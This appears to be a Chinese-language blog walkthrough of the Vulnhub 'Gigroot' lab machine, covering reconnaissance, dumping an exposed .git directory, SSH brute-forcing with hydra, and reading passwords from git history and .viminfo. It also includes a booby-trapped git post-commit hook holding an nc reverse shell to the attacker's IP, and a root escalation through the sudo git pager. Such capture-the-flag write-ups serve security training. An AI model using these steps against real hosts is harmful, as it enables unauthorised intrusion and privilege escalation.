主頁 >  其他 > Vulnhub之Gigroot靶機詳細測驗程序

Vulnhub之Gigroot靶機詳細測驗程序

2023-05-01 07:32:46 其他

Gigroot

識別目標主機IP地址

─(kali?kali)-[~/Vulnhub/Gigroot]
└─$ sudo netdiscover -i eth1 -r 192.168.56.0/24
Currently scanning: 192.168.56.0/24   |   Screen View: Unique Hosts                                                         

 3 Captured ARP Req/Rep packets, from 3 hosts.   Total size: 180                                                             
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.56.1    0a:00:27:00:00:05      1      60  Unknown vendor                                                            
 192.168.56.100  08:00:27:ab:4c:5b      1      60  PCS Systemtechnik GmbH                                                    
 192.168.56.103  08:00:27:44:c8:1b      1      60  PCS Systemtechnik GmbH 

利用Kali Linux的netdiscover工具識別目標主機的IP地址為192.168.56.103

NMAP掃描

┌──(kali?kali)-[~/Vulnhub/Gigroot]
└─$ sudo nmap -sS -sV -sC -p- 192.168.56.103 -oN nmap_full_scan
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-29 22:08 EDT
Nmap scan report for localhost (192.168.56.103)
Host is up (0.000075s latency).
Not shown: 65532 closed tcp ports (reset)
PORT      STATE SERVICE   VERSION
22/tcp    open  ssh       OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 bf45f6b3e3ce0c69185a5b27e5d39c86 (RSA)
|   256 b5d7455006c4e23c2852b806261fdeb0 (ECDSA)
|_  256 27f0d02113309c5ef070a1d85ca78f75 (ED25519)
80/tcp    open  http      Apache httpd 2.4.38 ((Debian))
|_http-title: Hey Jen
|_http-server-header: Apache/2.4.38 (Debian)
11211/tcp open  memcache?
| fingerprint-strings: 
|   RPCCheck: 
|_    Unknown command
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port11211-TCP:V=7.93%I=7%D=4/29%Time=644DCDBD%P=x86_64-pc-linux-gnu%r(R
SF:PCCheck,27,"\x81\0\0\0\0\0\0\x81\0\0\0\x0f\0\0\0\x02\0\0\0\0\0\0\0\0Unk
SF:nown\x20command");
MAC Address: 08:00:27:44:C8:1B (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 85.92 seconds

NMAP掃描結果表明目標主機有3個開放埠:22(ssh)、80(http)、11211(?)

獲得Shell

┌──(kali?kali)-[~/Vulnhub/Gigroot]
└─$ curl http://192.168.56.103/                                                                      
<!doctype html>
<html>
        <head>
                <title>Hey Jen</title>
                </head>


        <body>
                <p> Hey Jen, just installed wordpress over at wp.gitroot.vuln <br> please go check it out! <p>
        </body>
</html>

將wp.gitroot.vuln加入/etc/hosts檔案中:

┌──(kali?kali)-[~/Vulnhub/Gigroot]
└─$ sudo vim /etc/hosts                                        

┌──(kali?kali)-[~/Vulnhub/Gigroot]
└─$ cat /etc/hosts             
127.0.0.1       localhost
127.0.1.1       kali
::1             localhost ip6-localhost ip6-loopback
ff02::1         ip6-allnodes
ff02::2         ip6-allrouters
192.168.56.103  wp.gitroot.vuln

此時訪問url,從回傳頁面可知目標為Wordpress站點:

http://wp.gitroot.vuln/
┌──(kali?kali)-[~/Vulnhub/Gigroot]
└─$ nikto -h http://wp.gitroot.vuln/ 
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.56.103
+ Target Hostname:    wp.gitroot.vuln
+ Target Port:        80
+ Start Time:         2023-04-29 22:24:21 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/2.4.38 (Debian)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ Uncommon header 'link' found, with contents: <http://wp.gitroot.vuln/index.php?rest_route=/>; rel="https://api.w.org/"
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ OSVDB-3092: /manual/: Web server manual found.
+ OSVDB-3268: /manual/images/: Directory indexing found.
+ OSVDB-3233: /icons/README: Apache default file found.
+ /wp-content/plugins/akismet/readme.txt: The WordPress Akismet plugin 'Tested up to' version usually matches the WordPress version
+ /wp-links-opml.php: This WordPress script reveals the installed version.
+ /: A Wordpress installation was found.
+ Cookie wordpress_test_cookie created without the httponly flag
+ /wp-login.php: Wordpress login found
+ 7863 requests: 0 error(s) and 13 item(s) reported on remote host
+ End Time:           2023-04-29 22:25:11 (GMT-4) (50 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested


      *********************************************************************
      Portions of the server's headers (Apache/2.4.38) are not in
      the Nikto 2.1.6 database or are newer than the known string. Would you like
      to submit this information (*no server specific data*) to CIRT.net
      for a Nikto update (or you may email to [email protected]) (y/n)? 
──(kali?kali)-[~/Vulnhub/Gigroot]
└─$ gobuster dir -u http://wp.gitroot.vuln/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.js,.html,.txt,.sh,.bak
===============================================================
Gobuster v3.3
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://wp.gitroot.vuln/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.3
[+] Extensions:              html,txt,sh,bak,php,js
[+] Timeout:                 10s
===============================================================
2023/04/29 22:25:59 Starting gobuster in directory enumeration mode
===============================================================
/.php                 (Status: 403) [Size: 280]
/.html                (Status: 403) [Size: 280]
/index.php            (Status: 301) [Size: 1] [--> http://wp.gitroot.vuln/]
/wp-content           (Status: 301) [Size: 323] [--> http://wp.gitroot.vuln/wp-content/]
/wp-login.php         (Status: 200) [Size: 3195]
/manual               (Status: 301) [Size: 319] [--> http://wp.gitroot.vuln/manual/]
/wp-includes          (Status: 301) [Size: 324] [--> http://wp.gitroot.vuln/wp-includes/]
/wp                   (Status: 403) [Size: 280]
/javascript           (Status: 301) [Size: 323] [--> http://wp.gitroot.vuln/javascript/]
/readme.html          (Status: 200) [Size: 7440]
/wp-trackback.php     (Status: 200) [Size: 136]
/wp-admin             (Status: 301) [Size: 321] [--> http://wp.gitroot.vuln/wp-admin/]
/xmlrpc.php           (Status: 405) [Size: 43]
/.php                 (Status: 403) [Size: 280]
/.html                (Status: 403) [Size: 280]
/wp-signup.php        (Status: 302) [Size: 1] [--> http://wp.gitroot.vuln/wp-login.php?action=register]
/server-status        (Status: 403) [Size: 280]
Progress: 1540385 / 1543927 (99.77%)===============================================================
2023/04/29 22:29:10 Finished
============================================================

因為我們已知目標運行wordpress站點,因此從gobuster和nikto工具運行結果中沒有看到除了wordpress相關的目錄檔案之外的資訊,接下來看是否可以用wpscan工具掃描出用戶名或者可利用的插件,

─(kali?kali)-[~/Vulnhub/Gigroot]
└─$ wpscan --url http://wp.gitroot.vuln/ -e u,p
[+] beth
 | Found By: Author Posts - Display Name (Passive Detection)
 | Confirmed By:
 |  Rss Generator (Passive Detection)
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

wpscan工具掃描出用戶名beth,看能否破解其密碼,

(kali?kali)-[~/Vulnhub/Gigroot]
└─$ wpscan --url http://wp.gitroot.vuln/ -U beth -P /usr/share/wordlists/rockyou.txt

沒有破解出用戶beth的密碼,那看下可否掃描出插件,

─(kali?kali)-[~/Vulnhub/Gigroot]
└─$ wpscan --url http://wp.gitroot.vuln/ --plugins-detection mixed

雖然掃描出插件akismet,但是該插件沒有漏洞可利用,

會不會存在其他子域名?

將gitroot.vuln加入到/etc/hosts檔案后,用wfuzz工具爆破子域名

┌──(kali?kali)-[~/Vulnhub/Gigroot]
└─$ wfuzz -c -u http://gitroot.vuln -H "Host:FUZZ.gitroot.vuln" -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt --hw 26
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://gitroot.vuln/
Total requests: 220560

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                      
=====================================================================

000000001:   400        12 L     53 W       422 Ch      "# directory-list-2.3-medium.txt"                            
000000003:   400        12 L     53 W       422 Ch      "# Copyright 2007 James Fisher"                              
000000007:   400        12 L     53 W       422 Ch      "# license, visit http://creativecommons.org/licenses/by-sa/3
                                                        .0/"                                                         
000000012:   400        12 L     53 W       422 Ch      "# on at least 2 different hosts"                            
000000013:   400        12 L     53 W       422 Ch      "#"                                                          
000000011:   400        12 L     53 W       422 Ch      "# Priority ordered case-sensitive list, where entries were f
                                                        ound"                                                        
000000010:   400        12 L     53 W       422 Ch      "#"                                                          
000000009:   400        12 L     53 W       422 Ch      "# Suite 300, San Francisco, California, 94105, USA."        
000000002:   400        12 L     53 W       422 Ch      "#"                                                          
000000008:   400        12 L     53 W       422 Ch      "# or send a letter to Creative Commons, 171 Second Street," 
000000005:   400        12 L     53 W       422 Ch      "# This work is licensed under the Creative Commons"         
000000006:   400        12 L     53 W       422 Ch      "# Attribution-Share Alike 3.0 License. To view a copy of thi
                                                        s"                                                           
000000004:   400        12 L     53 W       422 Ch      "#"                                                          
000000793:   200        131 L    578 W      10697 Ch    "wp"                                                         
000002024:   400        12 L     53 W       422 Ch      "'"                                                          
000003790:   400        12 L     53 W       422 Ch      "%20"                                                        
000005302:   400        12 L     53 W       422 Ch      "$FILE"                                                      
000005954:   400        12 L     53 W       422 Ch      "$file"                                                      
000007004:   400        12 L     53 W       422 Ch      "*checkout*"                                                 
000012898:   200        21 L     51 W       438 Ch      "repo" 

發現出repo子域名,將其加入到/etc/hosts檔案中去:

┌──(kali?kali)-[~/Vulnhub/Gigroot]
└─$ cat /etc/hosts
127.0.0.1       localhost
127.0.1.1       kali
::1             localhost ip6-localhost ip6-loopback
ff02::1         ip6-allnodes
ff02::2         ip6-allrouters
192.168.56.103  wp.gitroot.vuln
192.168.56.103  gitroot.vuln
192.168.56.103  repo.gitroot.vuln

利用瀏覽器訪問子域名repo,此次回傳內容為:

┌──(kali?kali)-[~/Vulnhub/Gigroot]
└─$ curl http://repo.gitroot.vuln/
<!doctype html

<html>
<head>

    <title>Code storage</title>
</head>
 <style>

body {
  background-image: url('http://repo.gitroot.vuln/codeBackground.jpg');
  background-repeat: no-repeat;
}
</style> 
<body>

        <h1 style="color:white;">Welcome to our code storage area, we are currently storing a bunch of code here</h1>
        <p style="color:white;">Feel free to search our code base at get.php or set code in set.php </p>
</body>

</html>
┌──(kali?kali)-[~/Vulnhub/Gigroot]
└─$ gobuster dir -u http://repo.gitroot.vuln -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.html,.sh,.bak,.txt,.js
===============================================================
Gobuster v3.3
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://repo.gitroot.vuln
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.3
[+] Extensions:              php,html,sh,bak,txt,js
[+] Timeout:                 10s
===============================================================
2023/04/30 06:07:55 Starting gobuster in directory enumeration mode
===============================================================
/.html                (Status: 403) [Size: 282]
/index.php            (Status: 200) [Size: 438]
/.php                 (Status: 403) [Size: 282]
/stats.php            (Status: 200) [Size: 2911]
/manual               (Status: 301) [Size: 323] [--> http://repo.gitroot.vuln/manual/]
/get.php              (Status: 200) [Size: 144]
/javascript           (Status: 301) [Size: 327] [--> http://repo.gitroot.vuln/javascript/]
/set.php              (Status: 200) [Size: 151]
/.php                 (Status: 403) [Size: 282]
/.html                (Status: 403) [Size: 282]
/server-status        (Status: 403) [Size: 282]
Progress: 1542281 / 1543927 (99.89%)===============================================================
2023/04/30 06:11:15 Finished
===============================================================

用gobuster工具沒有掃描出上述子域名下更有價值的檔案或者目錄

──(kali?kali)-[~/Vulnhub/Gigroot]
└─$ nikto -h http://repo.gitroot.vuln
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.56.103
+ Target Hostname:    repo.gitroot.vuln
+ Target Port:        80
+ Start Time:         2023-04-30 06:11:29 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/2.4.38 (Debian)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ OSVDB-3092: /manual/: Web server manual found.
+ OSVDB-3268: /manual/images/: Directory indexing found.
+ OSVDB-3233: /icons/README: Apache default file found.
+ OSVDB-3092: /.git/index: Git Index file may contain directory listing information.
+ /.git/HEAD: Git HEAD file found. Full repo details may be present.
+ /.git/config: Git config file found. Infos about repo details may be present.
+ 7863 requests: 0 error(s) and 10 item(s) reported on remote host
+ End Time:           2023-04-30 06:12:20 (GMT-4) (51 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested


      *********************************************************************
      Portions of the server's headers (Apache/2.4.38) are not in
      the Nikto 2.1.6 database or are newer than the known string. Would you like
      to submit this information (*no server specific data*) to CIRT.net
      for a Nikto update (or you may email to [email protected]) (y/n)? 

nikto工具結果表明該子域名存在/.git目錄,用githack工具將repo的檔案clone到Kali Linux本地

┌──(kali?kali)-[~/Toolsets/GitHack]
└─$ python GitHack.py http://repo.gitroot.vuln/.git/
[+] Download and parse index file ...
[+] 33513a92c025212dd3ab564ca8682e2675f2f99bba5a7f521453d1deae7902aa.txt
[+] get.php
[+] index.php
[+] pablo_HELP.txt
[+] set.php
[+] stats.php
[OK] get.php
[OK] index.php
[OK] 33513a92c025212dd3ab564ca8682e2675f2f99bba5a7f521453d1deae7902aa.txt
[OK] pablo_HELP.txt
[OK] set.php
[OK] stats.php
┌──(kali?kali)-[~/Toolsets/GitHack/repo.gitroot.vuln]
└─$ cat pablo_HELP.txt 
I need help, something is wrong with this git repo

┌──(kali?kali)-[~/Toolsets/GitHack/repo.gitroot.vuln]
└─$ cat 33513a92c025212dd3ab564ca8682e2675f2f99bba5a7f521453d1deae7902aa.txt 
pablo_S3cret_P@ss
beth_S3cret_P@ss
jen_S3cret_P@ss

先看能否破解pablo的密碼

─(kali?kali)-[~/Toolsets/GitHack/repo.gitroot.vuln]
└─$ hydra -l pablo -P /usr/share/wordlists/rockyou.txt ssh://192.168.56.103     

密碼為mastergitar

┌──(kali?kali)-[~/Toolsets/GitHack/repo.gitroot.vuln]
└─$ ssh [email protected]                                        
The authenticity of host '192.168.56.103 (192.168.56.103)' can't be established.
ED25519 key fingerprint is SHA256:60rNw8fczihsSqs64B1Lf2E1VkCGOsuq8BTev2ELwLw.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.56.103' (ED25519) to the list of known hosts.
[email protected]'s password: 
Linux GitRoot 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2 (2020-04-29) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue May 26 01:30:55 2020 from 192.168.56.1
pablo@GitRoot:~$ id
uid=1000(pablo) gid=1000(pablo) groups=1000(pablo)
pablo@GitRoot:~$ ls -alh
total 32K
drwxr-xr-x 4 pablo pablo 4.0K May 26  2020 .
drwxr-xr-x 5 root  root  4.0K May 26  2020 ..
lrwxrwxrwx 1 pablo pablo    9 May 26  2020 .bash_history -> /dev/null
-rw-r--r-- 1 pablo pablo  220 May 25  2020 .bash_logout
-rw-r--r-- 1 pablo pablo 3.5K May 25  2020 .bashrc
drwx------ 3 pablo pablo 4.0K May 25  2020 .gnupg
-rw-r--r-- 1 pablo pablo  807 May 25  2020 .profile
drwx-wx-wx 2 pablo pablo 4.0K May 25  2020 public
-rw-r--r-- 1 root  root   871 May 26  2020 user.txt
pablo@GitRoot:~$ cat user.txt 

  _______ _                 _                          _____      _     _       
 |__   __| |               | |                        |  __ \    | |   | |     
    | |  | |__   __ _ _ __ | | __  _   _  ___  _   _  | |__) |_ _| |__ | | ___  
    | |  | '_ \ / _` | '_ \| |/ / | | | |/ _ \| | | | |  ___/ _` | '_ \| |/ _ \ 
    | |  | | | | (_| | | | |   <  | |_| | (_) | |_| | | |  | (_| | |_) | | (_) 
    |_|  |_| |_|\__,_|_| |_|_|\_\  \__, |\___/ \__,_| |_|   \__,_|_.__/|_|\___/ 
                                    __/ |                                       
                                   |___/                                        



Great job! Do not falter, there is more to do. You made it this far, finish the race!

"It's not that I'm so smart. Its just that I stay with problems longer." - Albert Einstein 

8a81007ea736a2b8a72a624672c375f9ac707b5e
pablo@GitRoot:~$ 
pablo@GitRoot:~/public$ ls -alh
total 12K
drwx-wx-wx 2 pablo pablo 4.0K May 25  2020 .
drwxr-xr-x 4 pablo pablo 4.0K May 26  2020 ..
-rw-r--r-- 1 beth  beth    58 May 25  2020 message.txt
pablo@GitRoot:~/public$ cat message.txt 
Hey pablo

Make sure to check-out our brand new git repo!

需要找出另外一個git倉庫

將linpeas.sh腳本上傳至目標主機站點:

══════════╣ Analyzing Github Files (limit 70)

-rw-r--r-- 1 jen jen 50 May 26  2020 /home/jen/.gitconfig


drwxr-xr-x 8 beth beth 4096 May 26  2020 /opt/auth/.git
drwxr-xr-x 8 root root 4096 May 25  2020 /var/www/repo/.git

發現了一個新的git倉庫:drwxr-xr-x 8 beth beth 4096 May 26 2020 /opt/auth/.git

進入該目錄查看

pablo@GitRoot:/opt/auth/.git/logs/refs/heads$ ls -alh | sort -n -r
total 804K
-rw-r--r-- 1 beth beth  595 May 26  2020 dev-43
-rw-r--r-- 1 beth beth  445 May 26  2020 dev-199
-rw-r--r-- 1 beth beth  443 May 26  2020 dev-99
-rw-r--r-- 1 beth beth  443 May 26  2020 dev-98

該目錄下有很多檔案,但是用sort命令查看,其中檔案dev-43的大小不一樣,

pablo@GitRoot:/opt/auth/.git/logs/refs/heads$ cat dev-43 
0000000000000000000000000000000000000000 fc9901f3b6b303d6ad40cdb71689f1646904f7b3 Your Name <[email protected]> 1590499965 -0400branch: Created from HEAD
fc9901f3b6b303d6ad40cdb71689f1646904f7b3 b2ab5f540baab4c299306e16f077d7a6f6556ca3 Your Name <[email protected]> 1590500014 -0400commit: init repo
b2ab5f540baab4c299306e16f077d7a6f6556ca3 06fbefc1da56b8d552cfa299924097ba1213dd93 Your Name <[email protected]> 1590500148 -0400commit: added some stuff
06fbefc1da56b8d552cfa299924097ba1213dd93 aaa283c708d79c692797339434664f4ba7accb25 Your Name <[email protected]> 1590500197 -0400commit: init repo
pablo@GitRoot:/opt/auth/.git/logs/refs/heads$ git show 06fbefc1da56b8d552cfa299924097ba1213dd93
commit 06fbefc1da56b8d552cfa299924097ba1213dd93
Author: Your Name <[email protected]>
Date:   Tue May 26 09:35:48 2020 -0400

    added some stuff

diff --git a/main.c b/main.c
index 70e6397..8af9b9c 100644
--- a/main.c
+++ b/main.c
@@ -4,6 +4,15 @@
 int main(){

         char pass[20];
-       return 0;
+        scanf("%20s", pass);
+        printf("You put %s\n", pass);
+        if (strcmp(pass, "r3vpdmspqdb") == 0 ){
+                char *cmd[] = { "bash", (char *)0 };
+                execve("/bin/bash", cmd, (char *) 0);
+        }
+        else{
+                puts("BAD PASSWORD");
+        }
+        return 0;
 }
-//43
+
(END)

發現了一個密碼:r3vpdmspqdb, 很顯然,因為新的.git目錄屬主是beth,因此該密碼應該也是屬于beth

切換到用戶beth

pablo@GitRoot:~$ su - beth
Password: 
beth@GitRoot:~$ 
beth@GitRoot:~$ ls -alh
total 28K
drwxr-xr-x 5 beth beth 4.0K May 26  2020 .
drwxr-xr-x 5 root root 4.0K May 26  2020 ..
lrwxrwxrwx 1 beth beth    9 May 26  2020 .bash_history -> /dev/null
-rw-r--r-- 1 beth beth    0 May 25  2020 .bash_logout
-rw-r--r-- 1 beth beth 3.5K May 26  2020 .bashrc
drwx------ 3 beth beth 4.0K May 26  2020 .gnupg
drwxr-xr-x 3 beth beth 4.0K May 25  2020 .local
-rw-r--r-- 1 beth beth  807 May 26  2020 .profile
drwx-wx-wx 2 beth beth 4.0K May 26  2020 public

在beth目錄下,新建.git/hooks檔案夾,建一個post-commit檔案,里面寫入使用nc反彈shell的一句話,檔案給777權限,再將.git檔案夾壓縮成zip格式,再給777權限

beth@GitRoot:~$ mkdir -p .git/hooks
beth@GitRoot:~$ cd .git/hooks/
beth@GitRoot:~/.git/hooks$ vim post-commit
beth@GitRoot:~/.git/hooks$ cat post-commit 
#!/bin/bash
nc -e /bin/bash 192.168.56.206 6666
beth@GitRoot:~/.git/hooks$ chmod 777 post-commit 
beth@GitRoot:~/.git/hooks$ cd ~
beth@GitRoot:~$ 7z a xshell.zip  .git/

7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,1 CPU Intel(R) Core(TM) i7-9700 CPU @ 3.00GHz (906ED),ASM,AES-NI)

Scanning the drive:
2 folders, 1 file, 48 bytes (1 KiB)

Creating archive: xshell.zip

Items to compress: 3


Files read from disk: 1
Archive size: 482 bytes (1 KiB)
Everything is Ok
beth@GitRoot:~$ chmod 777 xshell.zip 
beth@GitRoot:~$ 

復制壓縮包到/home/jen/public/repos目錄下

beth@GitRoot:~$ chmod 777 xshell.zip 
beth@GitRoot:~$ cp xshell.zip /home/jen/public/repos
jen@GitRoot:~$ cat .viminfo
cat .viminfo
# This viminfo file was generated by Vim 8.1.
# You may edit it if you're careful!

# Viminfo version
|1,4

# Value of 'encoding' when this file was written
*encoding=utf-8


# hlsearch on (H) or off (h):
~h
# Command Line History (newest to oldest):
:wq
|2,0,1590471909,,"wq"
:q!
|2,0,1590471893,,"q!"
:Q!
|2,0,1590471892,,"Q!"

# Search String History (newest to oldest):
?/binzpbeocnexoe
|2,1,1590471908,47,"binzpbeocnexoe"

jen的密碼是binzpbeocnexoe

提權

jen@GitRoot:~$ sudo -l
sudo -l
[sudo] password for jen: binzpbeocnexoe

Matching Defaults entries for jen on GitRoot:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User jen may run the following commands on GitRoot:
    (ALL) /usr/bin/git
jen@GitRoot:~$ sudo /usr/bin/git -p help config        
sudo /usr/bin/git -p help config
WARNING: terminal is not fully functional
-  (press RETURN)!/bin/sh
!//bbiinn//sshh!/bin/sh
# cd /root
cd /root
# ls -alh
ls -alh
total 44K
drwx------  5 root root 4.0K May 26  2020 .
drwxr-xr-x 18 root root 4.0K May 25  2020 ..
lrwxrwxrwx  1 root root    9 May 26  2020 .bash_history -> /dev/null
-rw-r--r--  1 root root  570 Jan 31  2010 .bashrc
drwx------  3 root root 4.0K May 25  2020 .gnupg
drwxr-xr-x  3 root root 4.0K May 25  2020 .local
-rw-r--r--  1 root root   56 May 25  2020 passwords
drwxr-xr-x  2 root root 4.0K May 26  2020 POC
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
-rw-r--r--  1 root root 5.9K May 26  2020 root.txt
-rw-r--r--  1 root root  569 May 25  2020 setpasswords.php
# cat root.txt
cat root.txt
                                                         /////                                                         
                                                      ////////////.                                                     
                                                   */////////////////                                                   
                                                 //////////////////////.                                                
                                              *///////////////////////////                                              
                                            ////////////////////////////////.                                           
                                             */////////////////////////////////                                         
                                                /////////////////////////////////.                                      
                                    *///.         */////////////////////////////////                                    
                                  /////////          /////////////////////////////////.                                 
                               */////////////.         */////////////////////////////////                               
                             ///////////////////                .//////////////////////////,                            
                          *///////////////////////.                .//////////////////////////                          
                        ////////////////////////////                 ///////////////////////////,                       
                     *//////////////////////////////                  /////////////////////////////                     
                   /////////////////////////////////                 ////////////////////////////////,                  
                *////////////////////////////////////                 ,/////////////////////////////////                
              /////////////////////////////////////////                  /////////////////////////////////,             
           ,/////////////////////////////////////////////       ..         ,/////////////////////////////////           
         ////////////////////////////////////////////////       .///          /////////////////////////////////.        
      ,//////////////////////////////////////////////////       ./////.         */////////////////////////////////      
    /////////////////////////////////////////////////////       .////////                ,//////////////////////////.   
  ///////////////////////////////////////////////////////       .//////////.                .////////////////////////// 
,////////////////////////////////////////////////////////       .////////////                 //////////////////////////
/////////////////////////////////////////////////////////       .///////////,                  /////////////////////////
 ////////////////////////////////////////////////////////       .////////////                 //////////////////////////
  ///////////////////////////////////////////////////////       ./////////////               /////////////////////////* 
    ,////////////////////////////////////////////////////       .///////////////           /////////////////////////    
       //////////////////////////////////////////////////       .////////////////////////////////////////////////*      
         ,///////////////////////////////////////////////       .//////////////////////////////////////////////         
            /////////////////////////////////////////////       .///////////////////////////////////////////*           
              ,/////////////////////////////////////////         /////////////////////////////////////////              
                 ////////////////////////////////////*              ///////////////////////////////////*                
                   ,////////////////////////////////                 ////////////////////////////////                   
                      //////////////////////////////                  /////////////////////////////                     
                        ,///////////////////////////                 ///////////////////////////                        
                           //////////////////////////               //////////////////////////                          
                             ,/////////////////////////           /////////////////////////                             
                                /////////////////////////////////////////////////////////                               
                                  ,///////////////////////////////////////////////////                                  
                                     ///////////////////////////////////////////////                                    
                                       ,/////////////////////////////////////////                                       
                                          /////////////////////////////////////                                         
                                            .///////////////////////////////                                            
                                               ///////////////////////////                                              
                                                 ./////////////////////                                                 
                                                    /////////////////                                                   
                                                      .///////////                 




Thank you for completing my box! Please let my know what you liked and what you didn't like at my twitter @Recursive_NULL



734ae32be131cd0681f86c03858f4f587a3c69ce
# 
STRIVE FOR PROGRESS,NOT FOR PERFECTION

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/551528.html

標籤:其他

上一篇:Nginx 入門實戰(2)--簡單使用

下一篇:返回列表

標籤雲
其他(158348) Python(38110) JavaScript(25398) Java(18011) C(15221) 區塊鏈(8261) C#(7972) AI(7469) 爪哇(7425) MySQL(7153) html(6777) 基礎類(6313) sql(6102) 熊猫(6058) PHP(5870) 数组(5741) R(5409) Linux(5334) 反应(5209) 腳本語言(PerlPython)(5129) 非技術區(4971) Android(4565) 数据框(4311) css(4259) 节点.js(4032) C語言(3288) json(3245) 列表(3129) 扑(3119) C++語言(3117) 安卓(2998) 打字稿(2995) VBA(2789) Java相關(2746) 疑難問題(2699) 细绳(2522) 單片機工控(2479) iOS(2432) ASP.NET(2402) MongoDB(2323) 麻木的(2285) 正则表达式(2254) 字典(2211) 循环(2198) 迅速(2185) 擅长(2169) 镖(2155) 功能(1967) .NET技术(1964) Web開發(1951) HtmlCss(1929) python-3.x(1918) 弹簧靴(1913) C++(1912) xml(1889) PostgreSQL(1874) .NETCore(1857) 谷歌表格(1846) Unity3D(1843) for循环(1842)

熱門瀏覽
  • 網閘典型架構簡述

    網閘架構一般分為兩種:三主機的三系統架構網閘和雙主機的2+1架構網閘。 三主機架構分別為內端機、外端機和仲裁機。三機無論從軟體和硬體上均各自獨立。首先從硬體上來看,三機都用各自獨立的主板、記憶體及存盤設備。從軟體上來看,三機有各自獨立的作業系統。這樣能達到完全的三機獨立。對于“2+1”系統,“2”分為 ......

    uj5u.com 2020-09-10 02:00:44 more
  • 如何從xshell上傳檔案到centos linux虛擬機里

    如何從xshell上傳檔案到centos linux虛擬機里及:虛擬機CentOs下執行 yum -y install lrzsz命令,出現錯誤:鏡像無法找到軟體包 前言 一、安裝lrzsz步驟 二、上傳檔案 三、遇到的問題及解決方案 總結 前言 提示:其實很簡單,往虛擬機上安裝一個上傳檔案的工具 ......

    uj5u.com 2020-09-10 02:00:47 more
  • 一、SQLMAP入門

    一、SQLMAP入門 1、判斷是否存在注入 sqlmap.py -u 網址/id=1 id=1不可缺少。當注入點后面的引數大于兩個時。需要加雙引號, sqlmap.py -u "網址/id=1&uid=1" 2、判斷文本中的請求是否存在注入 從文本中加載http請求,SQLMAP可以從一個文本檔案中 ......

    uj5u.com 2020-09-10 02:00:50 more
  • Metasploit 簡單使用教程

    metasploit 簡單使用教程 浩先生, 2020-08-28 16:18:25 分類專欄: kail 網路安全 linux 文章標簽: linux資訊安全 編輯 著作權 metasploit 使用教程 前言 一、Metasploit是什么? 二、準備作業 三、具體步驟 前言 Msfconsole ......

    uj5u.com 2020-09-10 02:00:53 more
  • 游戲逆向之驅動層與用戶層通訊

    驅動層代碼: #pragma once #include <ntifs.h> #define add_code CTL_CODE(FILE_DEVICE_UNKNOWN,0x800,METHOD_BUFFERED,FILE_ANY_ACCESS) /* 更多游戲逆向視頻www.yxfzedu.com ......

    uj5u.com 2020-09-10 02:00:56 more
  • 北斗電力時鐘(北斗授時服務器)讓網路資料更精準

    北斗電力時鐘(北斗授時服務器)讓網路資料更精準 北斗電力時鐘(北斗授時服務器)讓網路資料更精準 京準電子科技官微——ahjzsz 近幾年,資訊技術的得了快速發展,互聯網在逐漸普及,其在人們生活和生產中都得到了廣泛應用,并且取得了不錯的應用效果。計算機網路資訊在電力系統中的應用,一方面使電力系統的運行 ......

    uj5u.com 2020-09-10 02:01:03 more
